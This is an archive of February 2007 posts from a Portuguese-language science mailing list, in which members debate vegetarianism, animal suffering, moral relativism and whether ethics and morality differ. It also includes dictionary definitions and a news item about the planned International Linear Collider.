vivos que neste momento precisam de seu corpo para viver e se
alimentar? Não vê que eles não tem escolha, que não fazem por mal?
Será que só vai entender isso se experimentar a dor e o sofrimento de
morrer com doses de antibióticos fortíssimos???

Um tanto absurdo, não? Mas é o mesmo que leva pessoas, no mais muito
razoáveis, a ver na proteção de alguns filhotes por seus pais, um amor
como o de uma mãe ou pai humano. Quando, na verdade, há apenas um
comportamento padronizado e fixo nas respostas a estímulos.

Não comer mel, porque "as abelhas operárias são oprimidas", ou não
comer ovos porque "são roubados de suas mães galinhas" é
antropomorfizar. E não funciona.

Veja um pássaro, um pardal por exemplo. Ele cria os filhotes com
'amor", não? Os alimenta, cuida deles, aquece, etc. Se você tirar o
filhote do ninho, e o colocar ao lado do ninho, os pais o salvarão, não?

Não. Os pais o deixarão morrer de fome, a gritar desesperadamente, e
alimentarão apenas o irmão que ficar no ninho. Eles não tem escolha, e
não sabem nada sobre amar e salvar filhotes do lado de fora do ninho.

O mesmo para ovos. Tire um ovo, e a mãe porá outro. Sem dor, sem
pensar "óh, onde foi parar meu querido filhinho, que sofrimento atróz,
óh, oh, óh".

Assim, "roubar" ovos de galinhas não é o mesmo que roubar filhos de
mães e pais humanos, Bruna.

Bruna: "Ok, não me respondam, reflitam apenas.
Estou sem tempo de ler todos os posts ...
Meu silêncio fala por mim."

Estas 3 frases são significativas, Bruna. Indicam que está apenas
tentando divulgar sua religião, e não participando de um debate
racional, onde as partes apresentam seus argumentos e evidências, para
aumentar a compreensão e aprender algo.

O nome deste ambiente que participamos é Lista de Discussão, ou seja,
devemos discutir, não ler e não responder. E não usar o silêncio para
"falar por mim". E certamente não enviar mensagens e se recusar a ler
as respostas.

Se você já "sabe a verdade", tem a "certeza 100%" que está correta,
não vai nem ler os argumentos, e muito menos mudar de idéia ou ceder
em algum ponto que não havia compreendido, o que exatamente está
fazendo aqui? Procurando converter discípulos? Divulgando sua
religião? Alertando os pobres mortais que ainda "não viram a luz da
verdade"?

Não acha um pouco pretensioso?

Um abraço.

Homero





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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Tagore, Bradock, Troll????
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 23:49

Quem são esses, não recebi e-mails vindos dessas pessoas...

oraculo333 <oraculo@atibaia.com.br> escreveu: Olá Chicao

Este foi realmente um debate interessante, tirando as atrapalhadas
intervenções do Bradock/Tagore/Troll/Romano..:-)






.




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SUBJECT: P/ Bruna - Re: Além da questão alimentar
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 00:12

Olá Bruna

Bruna: "Eu já respondi em um dos primeiros e-mails sobre porque se
alimentar de vegetais não é uma violência qto o carnivorismo."

Tanto quanto. O que significa que "é" uma violência, apenas não é
"tanto quanto" contra animais. Que é, desde o começo, que que dizemos
a você: é uma questão relativa, e o que você pensa ser menos violento,
outros podem pensar diferente (sem necessariamente serem malvados ou
tolos..:-).

Plantas não tem sistema nervoso, e não sentem dor (há quem defenda que
sentem, e que só devemos comer partes de plantas que "caem"
naturalmente, acha que estão errados?). Assim, você implicitamente
concorda que, quanto menos sistema nervoso, quanto menos dor, mais
justificado está o ato de tirar a vida (mesmo uma planta "morre" para
servir de alimento).

O que nos diferencia, portanto, é a gradação, nada mais. A "linha"
divisória em que decidimos colocar o direito de tirar uma vida para se
alimentar.

Como sempre, uma questão relativa.

Bruna, os que defendem que devemos nos alimentar apenas de partes de
plantas que "caem", pensam de você, que é brutal, violenta, cruel,
etc, o mesmo que você pensa de mim e dos carnívoros..:-)

Bruna: "Também já lhe respondi porque é impossível minimizar a dor,
teria custos tão altos que quem come carne não estaria disposto a pagar."

E eu respondi que, tornar toda alimentação de 6 bilhões de pessoas
vegetariana, teria custos tão altos que a maior parte morreria de
fome. Por que para você é um argumento válido, mas para mim não?

Bruna: "Afirmar que a carne é um mal necessário apenas demonstra total
desconhecimento sobre nutrição, e isso é muito simples, vai estudar,
antes de afirmar a impossibilidade da minha dieta, estou há mais de
seis anos sem carne e derivados e posso afirmar que minha saúde é
melhor que a sua!E não utilizo suplementos nem medicamentos."

Relato anedótico, falácia da incredulidade pessoal, e alegação
insustentável. O primeiro, o relato anedótico, não valida alegações ou
conclusões. Porque você se sentir bem e saudável NÃO significa que
TODOS os que adotarem dietas vegetarianas o farão. Como demonstrou,
recorrentemente, o Takata, a taxa de problemas nutricionais em
vegetarianos é maior que em carnívoros, não importa que alguns
vegetarianos NÃO tenham esses problemas.

Eu poderia dizer o mesmo de você, não tem conhecimento sobre nutrição,
e teria o mesmo valor que sua alegação: nenhum.

Finalmente, você não pode afirmar que sua saúde é melhor que a minha,
simplesmente porque você NÃO me conhece..:-) É uma bravata, não um
argumento ou evidência.

Poderíamos comparar os dados de "checkups", meu e seu, e descobrir que
minha saúde é bem melhor que a sua (e é excelente, em todos os
sentidos..:-), mas ainda seria irrelevante.

Apenas dados estatísticos podem servir de base de conclusão neste
caso. E os dados estatísticos, como demonstrou sobejamente o Takata,
são contra você.

Eu diria que você "teve sorte" em não ter problemas nutricionais e não
precisar de suplementos (por enquanto), ou talvez seu metabolismo e
genética sejam suficientes para a dieta vegen. Mas isso não é o
padrão, e, estatisticamente, vegans e vegetarianos tem que fazer
esforço para equilibrar sua dieta e nutrientes (e isso fica claro
mesmo nas páginas de sites vegetarianos, com alertas e cuidados a se
manter).

Bruna: "Vc tocou na palavra-chave "esforço" algo que muitos não estão
dispostos a fazer, preferem continuar a se iludir enquanto milhões de
animais são miseravelmente tratados por culpa da preguiça humana."

Decida-se, Bruna: ou bem ser vegan "é fácil e simples, e não requer
esforço ou suplementação, muito menos cuidados" ou bem exige "esforço
que muitos não estão dispostos a fazer.

Seu discurso é contraditório e você "pula" de uma alegação para outra.
Há ou não esforço a ser feito para se tornar vegan?

Bruna: "A luz da verdade eu gostaria de mostrar numa granja de
produção de suínos, no dia da castração, mutilação dos dentes e corte
do rabo, todos sem anestesia, onde o animal grita e se mexe muito,
quer conhecer?"

Eu conheço. Você parece pensar que carnívoros o são por falta de
informação ou por maldade, Bruna! Tem de rever seus conceitos, ou
ficará eternamente iludida pela religião que adotou.

Bruna: "O que os olhos não vêm o coração não sente..."

Tem toda razão! Seu coração, que não vê milhares de crianças que
passam fome na África, e que morrem de inanição e de falta de
nutrientes, não sente a dor deles, já que seus olhos nada vêem.

Por favor, não digo que, ao mencionar essas crianças, você não fique
tocada e triste por eles, mas sim que, como vê mais suínos em seu dia
a dia, que crianças a morrer em outros países, seus pensamentos são
mais para os primeiros que para os últimos.

Não veio a lista defender crianças famintas da África, não?

Mas, como sempre pergunta o Takata, se os suínos que vê morrer nos
abatedouros fossem para serem enviados a África, para salvar a vida
das crianças que, neste momento, morrem de fome, você concordaria?

Ou, o que os olhos não vêem, crianças morrendo de fome na África, o
coração não sente?

Bruna: "Bem, aquele e-mail foi para meditar sobre isso, não foi para
gerar nova discussão.Como eu disse antes, preciso saber todas essas
vertentes éticas para discutir aqui, porém, sempre vou concluir que
não me serve nenhuma filosofia, cultura ou "ética" que não torne as
pessoas melhores."

Para quem meditar, Bruna? Nós, sobre suas verdades, ou você, sobre
nossas respostas? Porque se é apenas para nós meditarmos sobre suas
verdades, não vai dar. É preciso que você medite, pense, raciocine,
sobre nossas respostas também.

E o problema, Bruna, é que concordamos plenamente com sua afirmação:
não nos serve nenhuma filosofia, cultura ou ética que não torne as
pessoas melhores. Mas, o que é uma pessoa melhor, nós discordamos.

Por exemplo, não penso que se tornar vegetariano ou vegan torne uma
pessoa melhor, apenas por isso. E não penso que se alimentar de carne
torne uma pessoa melhor. Vê como é relativo tudo isso?

Eu, como você, desejo apenas filosofias e posicionamentos que tornem
as pessoas melhores, mas discordamos fortemente sobre que tipos de
filosofias e posicionamenos tornam as pessoas melhores.

Um abraço.

Homero





SUBJECT: Re: Tagore, Bradock, Troll????
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 00:17

Oi Bruna

Bruna: "Quem são esses, não recebi e-mails vindos dessas pessoas..."

risos..:-) Desculpe, esqueci de explicar e esqueci que você é nova na
lista.

Você recebeu emails do Romano_170, que disse que você come carne
escondido da geladeira de noite..:-) Mas o usuário desse nick troca de
nick a toda hora, porque as pessoas param de responder e dar atenção
as mensagens dele rapidamente, quando percebem que é ele (ele já foi
expulso de diversas listas, mas a CienciaList é bem democrática e
paciente..:-).

Então, ele já foi Bradock, Pubmed, Tagore, RTjunior, Junior, et, e
agora é Romano_170.

Logo mais vai trocar de novo, para mais um rodada de adivinhações (ele
nunca avisa a lista que trocou de nick, e entra sempre meio escondido
nos debates).

Um abraço.

Homero




SUBJECT: Re: Além da questão alimentar
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 01:23

200 vacas ou 1 pessoa?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Eu já respondi em um dos primeiros e-mails sobre porque se aimentar
de vegetais não é uma violência qto o carnivorismo.





SUBJECT: Re: [ciencialist] P/ Bruna - Re: E ética de cada um...
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 03:26

Murilo, grande Murilo,

Digamos que exista uma sociedade que incorpore como honra, entre outras coisas, o oferecimento de sua esposa para um truck truck com um visitante de sua casa, que considere ilustre. A recusa seria um ato não bem visto pelo ofertante. Para esse povo, tal comportamento não é imoral e é extremamente ético! Pergunto a vós: nós, que somos outro povo, com essa moral e essa ética que temos, que achamos de um comportamento assim? Não se importe se essa é uma situação real ou inventada. Imagine que seja real. E tasque o verbo de volta.

Ética e Moral são atributos característicos de tal ou qual sociedade, e, no seio desta, somente no seio desta, é imutável. Pois costumes e tradições são inerentes a cada uma, podendo até identificá-la. O que são atributos corretos para mim, nâo têm que o ser para outros, de outras sociedades. Para mim, e para alguma Carta de DH, seria o ideal que fosse. Mas, para mim, que sou apegado à ética e moral desta civilização ocidental( Liás, por causa dessas mesmas diferenças de interpretação, alguns povos, que acham que os outros estão errados, julgam-se no direito de brandir o chicote da justiça e da correção, para salvar os pobres e oprimidos. E partem, com voracidade, ancorados pela força desses conceitos, para punir os "infratores" que exibem uma moral e uma diferente da deles. Disse algo irreal, há alguma mera coincidência com o que, hoje, presenciamos?) . Não é que as outras estejam erradas. É que o conjunto de atributos que definem a ética e a moral de um grupo pode ser absolutamente intangível ao outro. Poderia recorrer a outras imagens mais à mão, para melhor clarificar a evidente fluidez desses conceitos, conforme assumidos de sociedade para sociedade. Mas não pretendo agredir a inteligência de vós outros. Essa é a essência, o foco, do que estamos qurendo expressar. Com a palavra, bonita e soberba, intangível , estou tentando ser mais objetivo nessa minha prosopopéia, no sentido de reforçar afirmações anteriores bem como corroborar decalarações como estas, do Homero, para Bruna(que tem suas razões, válidas para ela, dentro dos referenciais que montou para si, para sua vida):

"Não, querida, não significa isso. Significa que a ética varia,
dependendo da cultura, não a minha ética, mas a de cada cultura.",

"Para mim, e tenho certeza para o Ricardo, a ética será a mesma, esteja
eu aqui ou na África. Mas da mesma forma a ética de um muçulmano
africano será a mesma, e diferente da minha, quer ele esteja na
África, ou aqui no Brasil.", ou

"Significa que não há uma ética universal, um certo e errado absoluto,
que possa ser aceito por todas as culturas e indivíduos, e que devemos
nos esforçar por chegar a acordos, que possam ser aplicados de forma
mais um menos geral."

Disse que encerraria o assunto, mas não resistí ao "charme" da ofitopicidade do tema. É que, ante a irrestítivel continuidade do assunto, fiquei sem moral para cumprir aquele juramento ético. Digamos, atrasei uma prestação!.

Sds,
Victor




----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, February 15, 2007 9:54 PM
Subject: RE: [ciencialist] P/ Bruna - Re: E ética de cada um...


Oráculo, oi.
Eu juro que há diferença entre a *ética* e a *moral*, e pelo menos para mim,
a *moral* sim é que varia muito com a cultura dos povos.
Felizmente a ética é mais imutável.
abr/M.

>From: "oraculo333" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] P/ Bruna - Re: E ética de cada um...
>Date: Fri, 16 Feb 2007 00:39:37 -0000
>
>Olá Bruna
>
>Bruna: "Entendo, agora...
> > Ricardo, significa que sua ética depende do lugar onde vc estiver."
>
>Não, querida, não significa isso. Significa que a ética varia,
>dependendo da cultura, não a minha ética, mas a de cada cultura.
>
>Para mim, e tenho certeza para o Ricardo, a ética será a mesma, esteja
>eu aqui ou na África. Mas da mesma forma a ética de um muçulmano
>africano será a mesma, e diferente da minha, quer ele esteja na
>África, ou aqui no Brasil.
>
>Significa que não há uma ética universal, um certo e errado absoluto,
>que possa ser aceito por todas as culturas e indivíduos, e que devemos
>nos esforçar por chegar a acordos, que possam ser aplicados de forma
>mais um menos geral.
>
>É isso que significa. Além disso, afirmar que para o Ricardo a ética,
>a dele, varia com o lugar, é uma falácia do espantalho: uma construção
>argumentativa que o debatedor NÃO fez, mas que é mais fácil de atacar
>que o argumento que ele realmente apresentou.
>
>Um abraço.
>
>Homero
>
>
>
>
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Além da questão alimentar
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 03:40

Acho que perdí esse e-mail onde vocês faz a estimulante e provocativa pergunta. Imagino que seja uma situação onde tenha que se escolher racionalmente o que salvar. Minha posição é:

Se for Bush, salvo as 200 vacas. Liás, salvo uma, se só uma houver.
Se for um filho meu, salvo o filho meu, e as 200 milhões de vacas e mais outro tanto de outras pessoas, que fiquem por lá, no fogo, que os remorsos serão administrados, ainda que com um psiquiatra nosso de cada dia. Que ninguém é de ferro ou tão macho assim.

Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 16, 2007 12:23 AM
Subject: [ciencialist] Re: Além da questão alimentar


200 vacas ou 1 pessoa?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Eu já respondi em um dos primeiros e-mails sobre porque se aimentar
de vegetais não é uma violência qto o carnivorismo.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Bruna - Re: E ética de cada um...
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 07:48

Oi Murilo,

> Eu juro que há diferença entre a *ética* e a *moral*, e pelo menos
para mim, a *moral* sim é que varia muito com a cultura dos povos.
Felizmente a ética é mais imutável.

Manuel: A diferença que existe é entre a moral do tipo "Recht" (a área
da moral que se relaciona com obrigações, direitos e justiça) e a moral
dos fins últimos, isto é, aquela que diz respeito ao sentido da vida.
Para o marxismo, a moral do tipo "Recht" é relativa, ao passo que a
moral dos fins últimos é universal. Eu discordo.

Abraços,
Manuel Bulcão



SUBJECT: RE: [ciencialist] P/ Bruna - Re: E ética de cada um...
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 09:20

moral é a traducao latina de etica

nao ha diferenca qto a etimologia da palavra

algumas essoas creem q etica se refere ao particular das
pessoas, enqto a moral se refere ao universal, ao grupo

mas isso na filosofia nao faz a menor diferença

a maior parte hoje tende a encarar etica e moral como a
mesma coisa

Sérgio


--- murilo filo <avalanchedrive@hotmail.com> escreveu:

> Oráculo, oi.
> Eu juro que há diferença entre a *ética* e a *moral*, e
> pelo menos para mim,
> a *moral* sim é que varia muito com a cultura dos povos.
> Felizmente a ética é mais imutável.
> abr/M.
>
>
> >From: "oraculo333" <oraculo@atibaia.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] P/ Bruna - Re: E ética de cada
> um...
> >Date: Fri, 16 Feb 2007 00:39:37 -0000
> >
> >Olá Bruna
> >
> >Bruna: "Entendo, agora...
> > > Ricardo, significa que sua ética depende do lugar
> onde vc estiver."
> >
> >Não, querida, não significa isso. Significa que a ética
> varia,
> >dependendo da cultura, não a minha ética, mas a de cada
> cultura.
> >
> >Para mim, e tenho certeza para o Ricardo, a ética será a
> mesma, esteja
> >eu aqui ou na África. Mas da mesma forma a ética de um
> muçulmano
> >africano será a mesma, e diferente da minha, quer ele
> esteja na
> >África, ou aqui no Brasil.
> >
> >Significa que não há uma ética universal, um certo e
> errado absoluto,
> >que possa ser aceito por todas as culturas e indivíduos,
> e que devemos
> >nos esforçar por chegar a acordos, que possam ser
> aplicados de forma
> >mais um menos geral.
> >
> >É isso que significa. Além disso, afirmar que para o
> Ricardo a ética,
> >a dele, varia com o lugar, é uma falácia do espantalho:
> uma construção
> >argumentativa que o debatedor NÃO fez, mas que é mais
> fácil de atacar
> >que o argumento que ele realmente apresentou.
> >
> >Um abraço.
> >
> >Homero
> >
> >
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"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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SUBJECT: A universalização dos valores morais
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 11:30

Oi,

Sim, não existe uma moral universal "a priori". No entanto, alguns
valores morais, antes particulares, tendem a se universalisar, a se
tornarem comuns ao gênero humano.

Valores tais como a Liberdade e a Igualdade entre os homens tornam-se
universais à medida que se desenvolve o comércio internacional e se
dissemina a prática do método científico.

Com efeito, para o comerciante não importa se o indivíduo é branco,
negro, cristão, islamita, hutu ou tutsi: o que lhe importa é que o
indivíduo compre suas mercadorias e lhe venda os seus produtos (a
igualdade dos homens como produtores e consumidores).

Decerto que a Ciência não nos pode revelar uma moral universal.
Entretanto, o conhecimento científico não pode se desenvolver sem que
haja "livre" circulação de idéias e se assegure o direito de
questionar; isto é, a autonomia individual é prerrequisito do
desenvolvimento da Ciência.

Abraços,
Manuel Bulcão



SUBJECT: Re: A universalização dos valores morais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 11:34

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Com efeito, para o comerciante não importa se o indivíduo é branco,
> negro, cristão, islamita, hutu ou tutsi: o que lhe importa é que o
> indivíduo compre suas mercadorias e lhe venda os seus produtos (a
> igualdade dos homens como produtores e consumidores).

Aparentemente isso não leva ao tratamento igual entre as pessoas.
Apenas substitui o critério de discriminação. Não mais a diferença
entre negros, cristãos, muçulmanos, tutsis e hutus, mas sim entre quem
pode comprar a mercadoria e quem não pode, quem pode comprar mais e
quem pode comprar menos.

> questionar; isto é, a autonomia individual é prerrequisito do
> desenvolvimento da Ciência.

O pior é q não.

[]s,

Roberto Takata



SUBJECT: ética e moral são sinônimos?
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 12:11

[E]> moral é um conjunto de regras de foro íntimo, construídas pelo
indivíduo ou herdadas. ética são regras de convivência.
Moral cada um tem a sua, a ética é coletiva.

p.ex.: fico moralmente abalado ao matar ratos, baratas, etc ,
mas por motivos éticos eu os mato.



---- Mensagem original ----
De: Sérgio <anaximao@yahoo.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Sexta-feira, 16 de Fevereiro de 2007 9:20:15
Assunto: RE: [ciencialist] P/ Bruna - Re: E ética de cada um...













moral é a traducao latina de etica



nao ha diferenca qto a etimologia da palavra
[E]> sim. mas isso não autoriza a considerar os dois conceitos
como sinônimos




algumas essoas creem q etica se refere ao particular das

pessoas, enqto a moral se refere ao universal, ao grupo
[E]> essas algumas pessoas estão erradas e invertem
o sentido das duas palavras.




mas isso na filosofia nao faz a menor diferença
[E]> hmmm.... tá errado! não existem sinônimos...



a maior parte hoje tende a encarar etica e moral como a

mesma coisa
[E]> d'onde tirou essa estatística?





Sérgio



--- murilo filo <avalanchedrive@ hotmail.com> escreveu:



> Oráculo, oi.

> Eu juro que há diferença entre a *ética* e a *moral*, e

> pelo menos para mim,

> a *moral* sim é que varia muito com a cultura dos povos.

> Felizmente a ética é mais imutável.

> abr/M.

>

>

> >From: "oraculo333" <oraculo@atibaia. com.br>

> >Reply-To: ciencialist@ yahoogrupos. com.br

> >To: ciencialist@ yahoogrupos. com.br

> >Subject: [ciencialist] P/ Bruna - Re: E ética de cada

> um...

> >Date: Fri, 16 Feb 2007 00:39:37 -0000

> >

> >Olá Bruna

> >

> >Bruna: "Entendo, agora...

> > > Ricardo, significa que sua ética depende do lugar

> onde vc estiver."

> >

> >Não, querida, não significa isso. Significa que a ética

> varia,

> >dependendo da cultura, não a minha ética, mas a de cada

> cultura.

> >

> >Para mim, e tenho certeza para o Ricardo, a ética será a

> mesma, esteja

> >eu aqui ou na África. Mas da mesma forma a ética de um

> muçulmano

> >africano será a mesma, e diferente da minha, quer ele

> esteja na

> >África, ou aqui no Brasil.

> >

> >Significa que não há uma ética universal, um certo e

> errado absoluto,

> >que possa ser aceito por todas as culturas e indivíduos,

> e que devemos

> >nos esforçar por chegar a acordos, que possam ser

> aplicados de forma

> >mais um menos geral.

> >

> >É isso que significa. Além disso, afirmar que para o

> Ricardo a ética,

> >a dele, varia com o lugar, é uma falácia do espantalho:

> uma construção

> >argumentativa que o debatedor NÃO fez, mas que é mais

> fácil de atacar

> >que o argumento que ele realmente apresentou.

> >

> >Um abraço.

> >

> >Homero

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> >

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SUBJECT: Re: ética e moral são sinônimos?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 12:36

Titio Houaiss nos socorre:

--------------
Moral
n adjetivo de dois gêneros
1 concernente a ou próprio da moral
2 pertencente ao domínio do espírito do homem
3 orientado pela moral (fil); proveniente dos estudos filosóficos
sobre a moral (fil) Ex.: tratado m.
4 que segue princípios socialmente aceitos Ex.: teve um comportamento
m., ético
4.1 que denota bons costumes, boa conduta, segundo os preceitos
socialmente estabelecidos pela sociedade ou por determinado grupo social
4.2 que denota honestidade; correto Ex.: atitude m.
4.3 que ensina, educa; edificante Ex.: fábula m.
n substantivo masculino
5 estado de espírito Ex.: as endomorfinas podem contribuir para elevar
o m. dos pacientes
5.1 disposição de espírito que uma pessoa apresenta para agir com
maior ou menor vigor diante de circunstâncias difíceis; espírito de luta
5.2 sentimento de confiança; coragem Ex.: homem de grande m.
v substantivo feminino
6 conjunto de valores como a honestidade, a bondade, a virtude etc.,
considerados universalmente como norteadores das relações sociais e da
conduta dos homens Ex.: defendia a m. e os bons costumes
6.1 conjunto das regras, preceitos etc. característicos de determinado
grupo social que os estabelece e defende Ex.: <m. burguesa> <m. cristã>
6.2 conjunto dos princípios, ger. virtuosos, adotados por um
indivíduo, e que, em última análise, norteia o seu modo de agir e
pensar Ex.: <é um homem de pouca ou nenhuma m.> <a sua m. não é aceitável>
7 Rubrica: filosofia.
cada um dos sistemas variáveis de leis e valores estudados pela ética
(disciplina autônoma da filosofia), caracterizados por organizarem a
vida das múltiplas comunidades humanas, diferenciando e definindo
comportamentos proscritos, desaconselhados, permitidos ou ideais
8 Rubrica: filosofia.
parte da filosofia que estuda o comportamento humano à luz dos valores
e prescrições que regulam a vida das sociedades; ética
9 Derivação: por metonímia.
obra ou tratado sobre a moral
10 qualquer teoria, doutrina (não necessariamente defensora de um
padrão de comportamento) que se fundamenta em certos princípios
11 Regionalismo: Brasil. Uso: informal.
capacidade de se impor, de influenciar ou ter ascendência, hegemonia
sobre outrem Ex.: foi lá e conseguiu a vaga na m.
--------------
--------------
Ética
n substantivo feminino
1 parte da filosofia responsável pela investigação dos princípios que
motivam, distorcem, disciplinam ou orientam o comportamento humano,
refletindo esp. a respeito da essência das normas, valores,
prescrições e exortações presentes em qualquer realidade social
1.1 Rubrica: filosofia.
em doutrinas racionalistas e metafísicas, estudo das finalidades
últimas, ideais e, em alguns casos, transcendentes, que orientam a
ação humana para o máximo de harmonia, universalidade, excelência ou
perfectibilidade, o que implica a superação de paixões e desejos
irrefletidos
1.2 Rubrica: filosofia.
no empirismo, materialismo ou positivismo, estudo dos fatores
concretos (afetivos, sociais etc.) que determinam a conduta humana em
geral, estando tal investigação voltada para a consecução de objetivos
pragmáticos e utilitários, no interesse do indivíduo e da sociedade
2 Derivação: por extensão de sentido.
conjunto de regras e preceitos de ordem valorativa e moral de um
indivíduo, de um grupo social ou de uma sociedade
Ex.: <é. profissional> <é. psicanalítica> <há é. na universidade>
--------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Chicao - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 13:53

- Homero.

--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> O modo de pensar do Romano (se é que se pode chamar
> de modo de pensar
> isso tudo) é mais algo do tipo: existe determinadas
> regras que são
> absolutas, não decorrendo de razão ou concordância
> entre indivíduos ou
> culturas. Uma vez que uma delas seja encontrada,
> TODOS, sem exceção,
> concordariam que é uma regra ética boa e justa.

Seria verdadeiro se existisse algo que atingisse todos
os humanos independente do que ele acha.
Além do mais, não concordo muito com a posição de
voces sobre o posicionamento de Romano no nosso tema,
já que o que ele expos faz parte da velha dicotomia
juizo de valor versus juizos de fato.

> Eu, pessoalmente, vejo normas éticas que considero
> "melhores" que
> outras formas, não por serem absolutas, mas por
> motivos diversos, como
> o motivo, egoísta, de aumentar o nível de tolerância
> de uma sociedade,
> o que me beneficiaria. Ou pelo motivo, altruísta, de
> preferir ver
> minha filha mais feliz e segura em uma sociedade que
> respeita direitos
> femininos. Ou por um motivo
> biológico/neurológico/evolutivo, minha
> resposta a dor alheia é desagradável, e eu prefiro a
> sensação de
> ajudar que a sensação de destruir (como boa parte
> dos animais
> gregários, que tem de viver me grupos).

Esse é velho principio que já levantamos. Como
defendia o Barão de Montesquieu, voce não prejudica
ninguem pois em troca voce não é prejudicado. O
problema aqui é a impunidade. Se eu sei que nunca vou
ser punido por uma atitude má, posso quebrar esse
principio.
Uma nova questão surge aqui:

Para esse principio funcionar perfeitamente é
necessário que TODAS as atitudes más na sociedade
sejam punidas. Mas para isso, é necessário que a
sociedade SEMPRE SAIBA das más atitudes dos outros. Só
que para isso, o nível de controle e vigilância devem
aumentar e por conseguinte, a diminuição da
privacidade e liberdade. Mas afinal o que é
liberdade???
Eu vou refletir mais sobre isso também, se voce quiser
ou alguem que esteja lendo isso pode iniciar um tema
respondendo a essa pergunta.

> Estudos recentes, por exemplo, descobriram que dar
> algo a alguém,
> ajudar a levantar, ou entregar um presente, dispara
> os centros de
> prazer do cérebro.

Se a questão aqui é apenas prazer, prefiro comer carne
:p.

Enfim, agora posso não se sentir culpado pelas
baratinhas, por enquanto. :-)

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Novo colisor à vista. Partículas hidden que se cuidem.
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 15:16

Lista,

Eis um investimentozinho tamanho família, mas que pode ter futuro, como lançar alguma luz a mais rumo ao deslinde dessas questões que vivem coçando o juízo dos cientístas e outros perguntadores.
Quando leio um notícia dessas, vejo que, afinal, há governos que têm respeito pelas coisas da ciência. Projeto semelhante já esteve rodando pelo Congresso Americano, algumas décadas atrás. S.Weinberg foi um dos que foram ao Congresso Americano, gastou um bocado de verbo defendendo a causa, que acabou gorando. Os gringos não acreditaram na conversa de seus cientistas e preferiram guardar seu dólares para investir em outras coisas, como alimentar guerras. Aumentar o tamanho do futuro colisor, para permitir trilhões de eV, fará a velocidade das partículas colisoras aumentarem só um pouco mais, mas o suficente para escangalhar os seus alvos em mais pedaços. Talvez continuemos sem saber mais do que nosso conhecimento atual, por algumas décadas ainda. Mas que este é um bom começo, isso lá é. Vou acreditar que não se trata de mais papo furado e oferecer um dízimo de ajuda.

sds,
Victor.


Terra
Cientistas de três partes do mundo participam de uma corrida de bilhões de dólares para cruzar as fronteiras do conhecimento na área da física de partículas. A missão é decifrar os segredos da matéria escura e da "Partícula de Deus", uma partícula subatômica fundamental para o entendimento da natureza da matéria. Ela é tão difícil de se compreender que os físicos brincam afirmando que só pode ser comparada à divindade.
Na semana passada, um consórc

io internacional anunciou em Pequim o desenvolvimento de um projeto para o mais caro acelerador de elétrons do mundo, o Colisor Linear Internacional (ILC, na sigla em inglês), com custo estimado em US$6,7 bilhões. Em um túnel duplo de 31 quilômetros de comprimento, os físicos de partículas farão colidir elétrons e seus opositores antimatéria, os pósitrons, a 500 bilhões de elétrons-volt.

O plano - que poderá ser ampliado para 50 quilômetros e um trilhão de elétron-volts - é arremessar as partículas a uma velocidade próxima à da luz. A colisão resultante poderá liberar matéria escura e energia escura, as substâncias invisíveis e enigmáticas que, juntas, acredita-se que componham 96% da massa do Universo.

Os estudos de engenharia para o ILC começarão no fim do ano, com a idéia de que uma decisão seja tomada em 2010 sobre prosseguir com a construção da máquina. Se tudo correr bem, as obras começarão em 2012 e o colisor sozinho estará funcionando no fim da próxima década. "O ILC provavelmente representa o máximo que se pode alcançar com esse tipo de tecnologia", disse Guy Wormser, chefe do Laboratório do Acelerador Linear francês, que participou do encontro em Pequim.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: A universalização dos valores morais
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
